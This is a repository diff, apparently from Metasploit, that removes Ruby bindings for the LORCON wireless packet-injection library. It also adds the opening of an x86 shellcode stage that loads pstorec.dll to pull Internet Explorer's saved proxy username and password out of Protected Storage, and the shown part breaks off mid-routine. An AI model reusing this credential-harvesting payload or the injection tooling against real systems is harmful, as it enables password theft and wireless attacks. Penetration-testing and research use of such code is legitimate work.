rb_raise(rb_eArgError, "Lorcon could not set the modulation: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
return INT2NUM(mod);
}
static VALUE lorcon_device_get_capabilities(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return(lorcon_cap_to_list(tx80211_getcapabilities(&rld->in_tx)));
}
static VALUE lorcon_device_open(int argc, VALUE *argv, VALUE self) {
struct rldev *rld;
int ret = 0;
int drivertype = INJ_NODRIVER;
char *driver, *intf;
VALUE rbdriver, rbintf;
VALUE obj;
rb_scan_args(argc, argv, "2", &rbintf, &rbdriver);
driver = STR2CSTR(rbdriver);
intf = STR2CSTR(rbintf);
obj = Data_Make_Struct(cDevice, struct rldev, 0, lorcon_device_free, rld);
drivertype = tx80211_resolvecard(driver);
if (drivertype == INJ_NODRIVER) {
rb_raise(rb_eArgError, "Lorcon did not recognize the specified driver");
return(Qnil);
}
if (tx80211_init(&rld->in_tx, intf, drivertype) < 0) {
rb_raise(rb_eRuntimeError, "Lorcon could not initialize the interface: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
/* Open the interface to get a socket */
ret = tx80211_open(&rld->in_tx);
if (ret < 0) {
rb_raise(rb_eRuntimeError, "Lorcon could not open the interface: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
rb_obj_call_init(obj, 0, 0);
return(obj);
}
static VALUE lorcon_device_write(int argc, VALUE *argv, VALUE self) {
struct rldev *rld;
int ret = 0;
int cnt = 0;
int dly = 0;
VALUE rbbuff, rbcnt, rbdelay;
Data_Get_Struct(self, struct rldev, rld);
switch(rb_scan_args(argc, argv, "12", &rbbuff, &rbcnt, &rbdelay)) {
case 1:
rbdelay = INT2NUM(0);
case 2:
rbcnt = INT2NUM(1);
default:
break;
}
cnt = NUM2INT(rbcnt);
dly = NUM2INT(rbdelay);
rld->in_packet.packet = StringValuePtr(rbbuff);
rld->in_packet.plen = RSTRING(rbbuff)->len;
for (; cnt > 0; cnt--) {
ret = tx80211_txpacket(&rld->in_tx, &rld->in_packet);
if (ret < 0) {
rb_raise(rb_eRuntimeError, "Lorcon could not transmit packet: %s", tx80211_geterrstr(&rld->in_tx));
return(INT2NUM(ret));
}
if (dly > 0)
#ifdef _MSC_VER
Sleep(dly);
#else
usleep(dly);
#endif
}
return (rbcnt);
}
void Init_Lorcon() {
mLorcon = rb_define_module("Lorcon");
rb_define_module_function(mLorcon, "drivers", lorcon_driver_list, 0);
rb_define_module_function(mLorcon, "version", lorcon_get_version, 0);
cDevice = rb_define_class_under(mLorcon, "Device", rb_cObject);
rb_define_singleton_method(cDevice, "new", lorcon_device_open, -1);
rb_define_method(cDevice, "channel", lorcon_device_get_channel, 0);
rb_define_method(cDevice, "channel=", lorcon_device_set_channel, 1);
rb_define_method(cDevice, "write", lorcon_device_write, -1);
rb_define_method(cDevice, "mode", lorcon_device_get_mode, 0);
rb_define_method(cDevice, "mode=", lorcon_device_set_mode, 1);
rb_define_method(cDevice, "fmode=", lorcon_device_set_functional_mode, 1);
rb_define_method(cDevice, "txrate", lorcon_device_get_txrate, 0);
rb_define_method(cDevice, "txrate=", lorcon_device_set_txrate, 1);
rb_define_method(cDevice, "modulation", lorcon_device_get_modulation, 0);
rb_define_method(cDevice, "modulation=", lorcon_device_set_modulation, 1);
rb_define_method(cDevice, "capabilities", lorcon_device_get_capabilities, 0);
}

View File

@ -1,19 +0,0 @@
#ifndef _MSFLORCON_H
#define _MSFLORCON_H
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <sys/socket.h>
#include <tx80211.h>
#include <tx80211_packet.h>
struct rldev {
struct tx80211 in_tx;
struct tx80211_packet in_packet;
};
#endif

View File

@ -1,41 +0,0 @@
This is an experimental interface for lorcon, a 802.11 library
developed by Joshua Wright and dragorn. This interface is only
available on Linux and with lorcon-supported wireless drivers.
For more information, please see the lorcon documentation and code:
http://www.802.11mercenary.net/lorcon/
To build this extension:
1) Download, compile, and install lorcon
The latest version of lorcon can pulled from SVN:
$ svn co https://802.11ninja.net/svn/lorcon/trunk/ lorcon
$ cd lorcon
$ ./configure
$ make
$ sudo make install
-- or --
$ su
# make install
# exit
$ cd ..
2) build the ruby extension..
$ ruby extconf.rb
$ make
$ sudo make install
-- or --
$ su
# make install
NOTES:
if Ubuntu 8.04 (and probably others) bitches about 'mkmf',
you need ruby dev package.
:~/metasploit/external/ruby-lorcon$ ruby extconf.rb
extconf.rb:2:in `require': no such file to load -- mkmf (LoadError)
from extconf.rb:2
:~/metasploit/external/ruby-lorcon$ sudo apt-get install ruby1.8-dev

View File

@ -1,8 +0,0 @@
#!/usr/bin/env ruby
require 'mkmf'
if (have_library("orcon", "tx80211_txpacket", "tx80211.h") or find_library("orcon", "tx80211_txpacket", "tx80211.h"))
create_makefile("Lorcon")
else
puts "Error: the lorcon library was not found, please see the README"
end

View File

@ -1,47 +0,0 @@
#!/usr/bin/env ruby
$:.unshift(File.dirname(__FILE__))
require "Lorcon"
require "pp"
pp Lorcon.version
pp Lorcon.drivers
# Beacon frame from tx.c
packet = [
0x80, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, # dur ffff
0xff, 0xff, 0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03,
0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03, 0x00, 0x00, # 0x0000 - seq no.
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, # BSS timestamp
0x64, 0x00, 0x11, 0x00, 0x00, 0x0f, 0x73, 0x6f,
0x6d, 0x65, 0x74, 0x68, 0x69, 0x6e, 0x67, 0x63,
0x6c, 0x65, 0x76, 0x65, 0x72, 0x01, 0x08, 0x82,
0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03,
0x01, 0x01, 0x05, 0x04, 0x00, 0x01, 0x00, 0x00,
0x2a, 0x01, 0x05, 0x2f, 0x01, 0x05, 0x32, 0x04,
0x0c, 0x12, 0x18, 0x60, 0xdd, 0x05, 0x00, 0x10,
0x18, 0x01, 0x01, 0xdd, 0x16, 0x00, 0x50, 0xf2,
0x01, 0x01, 0x00, 0x00, 0x50, 0xf2, 0x02, 0x01,
0x00, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x00, 0x00,
0x50, 0xf2, 0x02
].pack('C*')
# Configure the card for reliable injection
tx = Lorcon::Device.new('ath0', 'madwifing')
tx.fmode = "INJECT"
tx.channel = 11
tx.txrate = 2
tx.modulation = "DSSS"
sa = Time.now.to_f
tx.write(packet, 500, 0)
ea = Time.now.to_f - sa
sb = Time.now.to_f
500.times { tx.write(packet, 1, 0) }
eb = Time.now.to_f - sb
$stdout.puts "Sent 500 packets (C) in #{ea.to_s} seconds"
$stdout.puts "Sent 500 packets (Ruby) in #{eb.to_s} seconds"

View File

@ -1,655 +0,0 @@
#include "Lorcon2.h"
#include "ruby.h"
#ifndef RUBY_19
#include "rubysig.h"
#endif
/*
self.license = GPLv2;
*/
/*
This is a derivative of the tx.c sample included with lorcon:
http://802.11ninja.net/lorcon/
lorcon is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
lorcon is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with lorcon; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Copyright (c) 2005 dragorn and Joshua Wright
*/
/*
Lots of code borrowed from Tom Wambold's pylorcon:
http://pylorcon.googlecode.com/ - tom5760[at]gmail.com
*/
/*
All ruby-lorcon/rubyisms are by Rapid7, Inc. (C) 2006-2007
http://metasploit.com/ - msfdev[at]metasploit.com
*/
VALUE mLorcon;
VALUE cDevice;
VALUE cPacket;
VALUE Lorcon_get_version(VALUE self) {
return INT2NUM(lorcon_get_version());
}
static VALUE Lorcon_list_drivers(VALUE self) {
VALUE list;
VALUE hash;
lorcon_driver_t *drvlist, *dri;
list = rb_hash_new();
dri = drvlist = lorcon_list_drivers();
if (dri == NULL)
return Qnil;
while (dri) {
hash = rb_hash_new();
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
rb_hash_aset(list, rb_str_new2(dri->name),hash);
dri = dri->next;
}
lorcon_free_driver_list(drvlist);
return(list);
}
static VALUE Lorcon_find_driver(VALUE self, VALUE driver) {
VALUE hash;
lorcon_driver_t *dri;
char *drivert = RSTRING_PTR(driver);
dri = lorcon_find_driver(drivert);
if (dri == NULL)
return Qnil;
hash = rb_hash_new();
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
lorcon_free_driver_list(dri);
return(hash);
}
static VALUE Lorcon_auto_driver(VALUE self, VALUE interface) {
VALUE hash;
lorcon_driver_t *dri;
char *intf = RSTRING_PTR(interface);
dri = lorcon_auto_driver(intf);
if (dri == NULL)
return Qnil;
hash = rb_hash_new();
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
lorcon_free_driver_list(dri);
return hash;
}
void Lorcon_free(struct rldev *rld) {
if (rld->context != NULL)
lorcon_free(rld->context);
}
static VALUE Lorcon_create(int argc, VALUE *argv, VALUE self) {
struct rldev *rld;
char *intf = NULL, *driver = NULL;
VALUE rbdriver, rbintf, obj;
lorcon_driver_t *dri;
if (argc == 2) {
rb_scan_args(argc, argv, "2", &rbintf, &rbdriver);
intf = StringValuePtr(rbintf);
driver = StringValuePtr(rbdriver);
} else {
rb_scan_args(argc, argv, "1", &rbintf);
intf = StringValuePtr(rbintf);
}
if (driver == NULL) {
if ((dri = lorcon_auto_driver(intf)) == NULL) {
rb_raise(rb_eRuntimeError,
"LORCON could not detect a driver and none specified");
return (Qnil);
}
} else {
if ((dri = lorcon_find_driver(driver)) == NULL) {
rb_raise(rb_eArgError,
"LORCON could not recognize the specified driver");
return (Qnil);
}
}
obj = Data_Make_Struct(cDevice, struct rldev, 0, Lorcon_free, rld);
rld->context = lorcon_create(intf, dri);
// Obsolete: XXX
// lorcon_set_timeout(rld->context, 100);
if (rld->context == NULL) {
rb_raise(rb_eRuntimeError,
"LORCON could not create context");
return (Qnil);
}
lorcon_free_driver_list(dri);
rb_obj_call_init(obj, 0, 0);
return(obj);
}
static VALUE Lorcon_open_inject(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
if (lorcon_open_inject(rld->context) < 0)
return Qfalse;
return Qtrue;
}
static VALUE Lorcon_open_monitor(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
if (lorcon_open_monitor(rld->context) < 0)
return Qfalse;
return Qtrue;
}
static VALUE Lorcon_open_injmon(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
if (lorcon_open_injmon(rld->context) < 0)
return Qfalse;
return Qtrue;
}
static VALUE Lorcon_get_error(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return rb_str_new2(lorcon_get_error(rld->context));
}
static VALUE Lorcon_get_capiface(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return rb_str_new2(lorcon_get_capiface(rld->context));
}
void Lorcon_packet_free(struct rlpack *rlp) {
if (rlp->packet != NULL) {
lorcon_packet_free(rlp->packet);
rlp->packet = NULL;
free(rlp);
}
}
static VALUE Lorcon_packet_create(int argc, VALUE *argv, VALUE self) {
struct rlpack *rlp;
VALUE obj;
obj = Data_Make_Struct(cPacket, struct rlpack, 0, Lorcon_packet_free, rlp);
rlp->packet = (struct lorcon_packet *) malloc(sizeof(struct lorcon_packet));
memset(rlp->packet, 0, sizeof(struct lorcon_packet));
rlp->bssid = NULL;
rlp->dot3 = NULL;
rlp->len = 0;
rlp->dir = 0;
rb_obj_call_init(obj, 0, 0);
return(obj);
}
static VALUE Lorcon_packet_get_channel(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
return INT2FIX(rlp->packet->channel);
}
static VALUE Lorcon_packet_set_channel(VALUE self, VALUE channel) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
lorcon_packet_set_channel(rlp->packet, NUM2INT(channel));
return channel;
}
static VALUE Lorcon_packet_get_dlt(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
return INT2FIX(rlp->packet->dlt);
}
static VALUE Lorcon_packet_get_bssid(VALUE self) {
struct rlpack *rlp;
struct lorcon_dot11_extra *extra;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->extra_info == NULL ||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
return Qnil;
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
if (extra->bssid_mac == NULL)
return Qnil;
return rb_str_new((char *)extra->bssid_mac, 6);
}
static VALUE Lorcon_packet_get_source(VALUE self) {
struct rlpack *rlp;
struct lorcon_dot11_extra *extra;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->extra_info == NULL ||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
return Qnil;
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
if (extra->source_mac == NULL)
return Qnil;
return rb_str_new((char *)extra->source_mac, 6);
}
static VALUE Lorcon_packet_get_dest(VALUE self) {
struct rlpack *rlp;
struct lorcon_dot11_extra *extra;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->extra_info == NULL ||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
return Qnil;
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
if (extra->dest_mac == NULL)
return Qnil;
return rb_str_new((char *)extra->dest_mac, 6);
}
static VALUE Lorcon_packet_get_rawdata(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->packet_raw == NULL)
return Qnil;
return rb_str_new((char *)rlp->packet->packet_raw, rlp->packet->length);
}
static VALUE Lorcon_packet_get_headerdata(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->packet_header == NULL)
return Qnil;
return rb_str_new((char *)rlp->packet->packet_header, rlp->packet->length_header);
}
static VALUE Lorcon_packet_get_data(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->packet_data == NULL)
return Qnil;
return rb_str_new((char *)rlp->packet->packet_data, rlp->packet->length_data);
}
static VALUE Lorcon_packet_getdot3(VALUE self) {
struct rlpack *rlp;
u_char *pdata;
int len;
VALUE ret;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->packet_data == NULL)
return Qnil;
len = lorcon_packet_to_dot3(rlp->packet, &pdata);
ret = rb_str_new((char *)pdata, len);
free(pdata);
return ret;
}
static VALUE Lorcon_packet_prepdot3(VALUE self, VALUE dot3) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
rlp->dot3 = (unsigned char *) RSTRING_PTR(dot3);
rlp->len = RSTRING_LEN(dot3);
return dot3;
}
static VALUE Lorcon_packet_prepbssid(VALUE self, VALUE bssid) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
rlp->bssid = (unsigned char *)RSTRING_PTR(bssid);
return bssid;
}
static VALUE Lorcon_packet_prepdir(VALUE self, VALUE dir) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
rlp->dir = NUM2INT(dir);
return dir;
}
static VALUE Lorcon_packet_getdir(VALUE self) {
struct rlpack *rlp;
struct lorcon_dot11_extra *extra;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->dir != 0)
return INT2FIX(rlp->dir);
if (rlp->packet == NULL)
return Qnil;
if (rlp->packet->extra_info == NULL ||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
return Qnil;
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
if (extra->from_ds && !extra->to_ds)
return INT2FIX(LORCON_DOT11_DIR_FROMDS);
else if (!extra->from_ds && extra->to_ds)
return INT2FIX(LORCON_DOT11_DIR_TODS);
else if (!extra->from_ds && !extra->to_ds)
return INT2FIX(LORCON_DOT11_DIR_ADHOCDS);
else if (extra->from_ds && extra->to_ds)
return INT2FIX(LORCON_DOT11_DIR_INTRADS);
return Qnil;
}
static VALUE Lorcon_packet_get_rawlength(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
return INT2FIX(rlp->packet->length);
}
static VALUE Lorcon_packet_get_headerlength(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
return INT2FIX(rlp->packet->length_header);
}
static VALUE Lorcon_packet_get_datalength(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
return INT2FIX(rlp->packet->length_data);
}
VALUE new_lorcon_packet(struct lorcon_packet **packet) {
struct rlpack *rlp;
VALUE obj;
obj = Data_Make_Struct(cPacket, struct rlpack, 0, Lorcon_packet_free, rlp);
rlp->packet = *packet;
rb_obj_call_init(obj, 0, 0);
return(obj);
}
static VALUE Lorcon_inject_packet(VALUE self, VALUE packet) {
struct rldev *rld;
struct rlpack *rlp;
lorcon_packet_t *pack = NULL;
int ret;
if (rb_obj_is_kind_of(packet, cPacket) == 0) {
rb_raise(rb_eTypeError, "wrong type expected %s", rb_class2name(cPacket));
return Qnil;
}
Data_Get_Struct(self, struct rldev, rld);
Data_Get_Struct(packet, struct rlpack, rlp);
if (rlp->bssid != NULL && rlp->dot3 != NULL) {
pack = lorcon_packet_from_dot3(rlp->bssid, rlp->dir, rlp->dot3, rlp->len);
ret = lorcon_inject(rld->context, pack);
lorcon_packet_free(pack);
} else {
ret = lorcon_inject(rld->context, rlp->packet);
}
return INT2FIX(ret);
}
static VALUE Lorcon_write_raw(VALUE self, VALUE rpacket) {
struct rldev *rld;
int ret;
Data_Get_Struct(self, struct rldev, rld);
if(TYPE(rpacket) != T_STRING) {
rb_raise(rb_eArgError, "packet data must be a string");
return Qnil;
}
ret = lorcon_send_bytes(rld->context, RSTRING_LEN(rpacket), (unsigned char *)RSTRING_PTR(rpacket));
return INT2FIX(ret);
}
static VALUE Lorcon_set_filter(VALUE self, VALUE filter) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return INT2FIX(lorcon_set_filter(rld->context, RSTRING_PTR(filter)));
}
static VALUE Lorcon_set_channel(VALUE self, VALUE channel) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return INT2FIX(lorcon_set_channel(rld->context, NUM2INT(channel)));
}
static VALUE Lorcon_get_channel(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return INT2FIX(lorcon_get_channel(rld->context));
}
static void rblorcon_pcap_handler(rblorconjob_t *job, struct pcap_pkthdr *hdr, u_char *pkt){
job->pkt = (unsigned char *)pkt;
job->hdr = *hdr;
}
static VALUE Lorcon_capture_next(VALUE self) {
struct rldev *rld;
int ret = 0;
struct lorcon_packet *packet;
unsigned char *raw;
pcap_t *pd;
rblorconjob_t job;
Data_Get_Struct(self, struct rldev, rld);
pd = lorcon_get_pcap(rld->context);
#ifndef RUBY_19
TRAP_BEG;
#endif
ret = pcap_dispatch(pd, 1, (pcap_handler) rblorcon_pcap_handler, (u_char *)&job);
#ifndef RUBY_19
TRAP_END;
#endif
if (ret == 0)
return(Qnil);
if (ret < 0 || job.hdr.caplen <= 0)
return INT2FIX(ret);
raw = malloc(job.hdr.caplen);
if(! raw) return Qnil;
memcpy(raw, job.pkt, job.hdr.caplen);
packet = lorcon_packet_from_pcap(rld->context, &job.hdr, raw);
lorcon_packet_set_freedata(packet, 1);
return new_lorcon_packet(&packet);
}
static VALUE Lorcon_capture_loop(int argc, VALUE *argv, VALUE self) {
struct rldev *rld;
int count = 0;
int p = 0;
VALUE v_cnt;
VALUE ret;
int fd;
Data_Get_Struct(self, struct rldev, rld);
if (rb_scan_args(argc, argv, "01", &v_cnt) >= 1) {
count = FIX2INT(v_cnt);
} else {
count = -1;
}
fd = lorcon_get_selectable_fd(rld->context);
if(fd < 0 ) {
rb_raise(rb_eRuntimeError,
"LORCON context could not provide a pollable descriptor "
"and we need one for the threaded dispatch loop");
}
while (p < count || count <= 0) {
ret = Lorcon_capture_next(self);
if(TYPE(ret) == T_FIXNUM) return(ret);
if(ret == Qnil) {
rb_thread_wait_fd(fd);
} else {
rb_yield(ret);
p++;
}
}
return INT2FIX(p);
}
void Init_Lorcon2() {
mLorcon = rb_define_module("Lorcon");
cPacket = rb_define_class_under(mLorcon, "Packet", rb_cObject);
rb_define_const(cPacket, "LORCON_FROM_DS", INT2NUM(LORCON_DOT11_DIR_FROMDS));
rb_define_const(cPacket, "LORCON_TO_DS", INT2NUM(LORCON_DOT11_DIR_TODS));
rb_define_const(cPacket, "LORCON_INTRA_DS", INT2NUM(LORCON_DOT11_DIR_INTRADS));
rb_define_const(cPacket, "LORCON_ADHOC_DS", INT2NUM(LORCON_DOT11_DIR_ADHOCDS));
rb_define_singleton_method(cPacket, "new", Lorcon_packet_create, -1);
rb_define_method(cPacket, "bssid", Lorcon_packet_get_bssid, 0);
rb_define_method(cPacket, "source", Lorcon_packet_get_source, 0);
rb_define_method(cPacket, "dest", Lorcon_packet_get_dest, 0);
rb_define_method(cPacket, "channel", Lorcon_packet_get_channel, 0);
rb_define_method(cPacket, "channel=", Lorcon_packet_set_channel, 1);
rb_define_method(cPacket, "dlt", Lorcon_packet_get_dlt, 0);
rb_define_method(cPacket, "rawdata", Lorcon_packet_get_rawdata, 0);
rb_define_method(cPacket, "headerdata", Lorcon_packet_get_headerdata, 0);
rb_define_method(cPacket, "data", Lorcon_packet_get_data, 0);
rb_define_method(cPacket, "dot3", Lorcon_packet_getdot3, 0);
rb_define_method(cPacket, "dot3=", Lorcon_packet_prepdot3, 1);
rb_define_method(cPacket, "bssid=", Lorcon_packet_prepbssid, 1);
rb_define_method(cPacket, "direction=", Lorcon_packet_prepdir, 1);
rb_define_method(cPacket, "direction", Lorcon_packet_getdir, 0);
rb_define_method(cPacket, "size", Lorcon_packet_get_rawlength, 0);
rb_define_method(cPacket, "linesize", Lorcon_packet_get_rawlength, 0);
rb_define_method(cPacket, "headersize", Lorcon_packet_get_headerlength, 0);
rb_define_method(cPacket, "datasize", Lorcon_packet_get_datalength, 0);
cDevice = rb_define_class_under(mLorcon, "Device", rb_cObject);
rb_define_singleton_method(cDevice, "new", Lorcon_create, -1);
rb_define_method(cDevice, "openinject", Lorcon_open_inject, 0);
rb_define_method(cDevice, "openmonitor", Lorcon_open_monitor, 0);
rb_define_method(cDevice, "openinjmon", Lorcon_open_injmon, 0);
rb_define_method(cDevice, "error", Lorcon_get_error, 0);
rb_define_method(cDevice, "capiface", Lorcon_get_capiface, 0);
rb_define_method(cDevice, "filter=", Lorcon_set_filter, 1);
rb_define_method(cDevice, "channel=", Lorcon_set_channel, 1);
rb_define_method(cDevice, "channel", Lorcon_get_channel, 0);
rb_define_method(cDevice, "loop", Lorcon_capture_loop, -1);
rb_define_method(cDevice, "each", Lorcon_capture_loop, -1);
rb_define_method(cDevice, "each_packet", Lorcon_capture_loop, -1);
rb_define_method(cDevice, "write", Lorcon_write_raw, 1);
rb_define_method(cDevice, "inject", Lorcon_inject_packet, 1);
rb_define_module_function(mLorcon, "drivers", Lorcon_list_drivers, 0);
rb_define_module_function(mLorcon, "version", Lorcon_get_version, 0);
rb_define_module_function(mLorcon, "find_driver", Lorcon_find_driver, 1);
rb_define_module_function(mLorcon, "auto_driver", Lorcon_auto_driver, 1);
}

View File

@ -1,31 +0,0 @@
#ifndef _MSFLORCON_H
#define _MSFLORCON_H
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <sys/socket.h>
#include <lorcon2/lorcon.h>
#include <pcap.h>
struct rldev {
struct lorcon *context;
};
struct rlpack {
struct lorcon_packet *packet;
/* dot3 construction via multiple elements */
u_char *bssid, *dot3;
int dir, len;
};
typedef struct rblorconjob {
struct pcap_pkthdr hdr;
unsigned char *pkt;
} rblorconjob_t;
#endif

View File

@ -1,41 +0,0 @@
This is an experimental interface for lorcon, a 802.11 library
developed by Joshua Wright and dragorn. This interface is only
available on Linux and with lorcon-supported wireless drivers.
For more information, please see the lorcon documentation and code:
http://www.802.11mercenary.net/lorcon/
To build this extension:
1) Download, compile, and install lorcon
The latest version of lorcon can pulled from SVN:
$ svn co https://802.11ninja.net/svn/lorcon/trunk/ lorcon
$ cd lorcon
$ ./configure
$ make
$ sudo make install
-- or --
$ su
# make install
# exit
$ cd ..
2) build the ruby extension..
$ ruby extconf.rb
$ make
$ sudo make install
-- or --
$ su
# make install
NOTES:
if Ubuntu 8.04 (and probably others) bitches about 'mkmf',
you need ruby dev package.
:~/metasploit/external/ruby-lorcon$ ruby extconf.rb
extconf.rb:2:in `require': no such file to load -- mkmf (LoadError)
from extconf.rb:2
:~/metasploit/external/ruby-lorcon$ sudo apt-get install ruby1.8-dev

View File

@ -1,16 +0,0 @@
#!/usr/bin/env ruby
require 'mkmf'
$CFLAGS += " -I/usr/include/lorcon2"
if ( RUBY_VERSION =~ /^(1\.9|2\.0)/ )
$CFLAGS += " -DRUBY_19"
end
if find_library("orcon2", "lorcon_list_drivers", "lorcon2/lorcon.h")
create_makefile("Lorcon2")
else
puts "Error: the lorcon2 library was not found, please see the README"
end

View File

@ -1,59 +0,0 @@
#!/usr/bin/env ruby
$:.unshift(File.dirname(__FILE__))
require "Lorcon2"
require 'thread'
require "pp"
intf = ARGV.shift || "wlan0"
$stdout.puts "Checking LORCON version"
pp Lorcon.version
$stdout.puts "\nFetching LORCON driver list"
pp Lorcon.drivers
$stdout.puts "\nResolving driver by name 'mac80211'"
pp Lorcon.find_driver("mac80211")
$stdout.puts "\nAuto-detecting driver for interface wlan0"
pp Lorcon.auto_driver(intf)
tx = Lorcon::Device.new(intf)
$stdout.puts "\nCreated LORCON context"
if tx.openinjmon()
$stdout.puts "\nOpened as INJMON: " + tx.capiface
else
$stdout.puts "\nFAILED to open " + tx.capiface + " as INJMON: " + tx.error
end
def safe_loop(wifi)
@q = Queue.new
reader = Thread.new do
wifi.each_packet {|pkt| @q << pkt }
end
eater = Thread.new do
while(pkt = @q.pop)
yield(pkt)
end
end
begin
eater.join
rescue ::Interrupt => e
reader.kill if reader.alive?
puts "ALL DONE!"
end
end
safe_loop(tx) do |pkt|
pp pkt
end

View File

@ -1,11 +0,0 @@
Path: .
URL: http://802.11ninja.net/svn/lorcon/trunk/ruby-lorcon
Repository Root: http://802.11ninja.net/svn/lorcon
Repository UUID: 61418039-352c-0410-8488-9e586b2135b2
Revision: 204
Node Kind: directory
Schedule: normal
Last Changed Author: dragorn
Last Changed Rev: 202
Last Changed Date: 2009-09-15 09:31:29 -0500 (Tue, 15 Sep 2009)

View File

@ -0,0 +1,209 @@
;-----------------------------------------------------------------------------;
; Author: Unknown
; Compatible: Confirmed Windows Server 2003, IE Versions 4 to 6
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'
; Output: top element of stack will be pointer to null-terminated password and
; second will be pointer to null-terminated username of the Proxy saved in IE
pushad
jmp after_functions
alloc_memory: ; returns address to allocation in eax
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x1000 ; allocate 1000 byte for each variable (could be less)
push 0 ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXE$
ret ;
;
after_functions: ;
;
; allocate memory for variables and save pointers on stack
mov bl, 9 ;
alloc_loop: ;
call alloc_memory ;
push eax ; save allocation address on stack
dec bl ;
jnz alloc_loop ;
;
load_pstorec: ; loads the pstorec.dll
push 0x00636572 ; Push the bytes 'pstorec',0 onto the stack.
push 0x6f747370 ; ...
push esp ; Push a pointer to the 'pstorec',0 string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "pstorec" )
; this should leave a handle to the pstorec
; DLL-Module in eax
pop edx ; remove 'pstorec' string from stack
pop edx
PStoreCreateInstance_PStore:
; returns address to PStore in pPStore
pop edi ; pop pPstore
push edi ; restore stack
;
push 0 ;
push 0 ;
push 0 ;
push edi ; arg4: pPstore
push 0x2664BDDB ; hash ( "pstorec.dll", "PStoreCreateInstance" )
call ebp ; PstoreCreateInstance(address, 0, 0, 0)
;
PStore.EnumTypes: ; returns address to EnumPStoreTypes in pEnumPStoreTypes
pop eax ; pop pPstore
pop edx ; pop pEnumPstoreTypes
push edx ; restore stack
push eax ;
;
push edx ; arg1: pEnumPstoreTypes
push 0 ; arg2: NULL
push 0 ; arg3: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::EnumTypes in pstorec.dll
mov edx, [edx+0x38] ; &EnumTypes() = *(*(&PStore)+0x38)
call edx ; call IPStore::EnumTypes
mov edi, 0x5e7e8100 ; Value of pTypeGUID if Password is IE:Password-Protected
;
EnumPStoreTypes.raw_Next:
pop eax ; pop pPStore
pop edx ; pop pEnumPStoreTypes
pop ecx ; pop pTypeGUID
push ecx ; restore stack
push edx ;
push eax ;
;
push 0 ; arg1: NULL
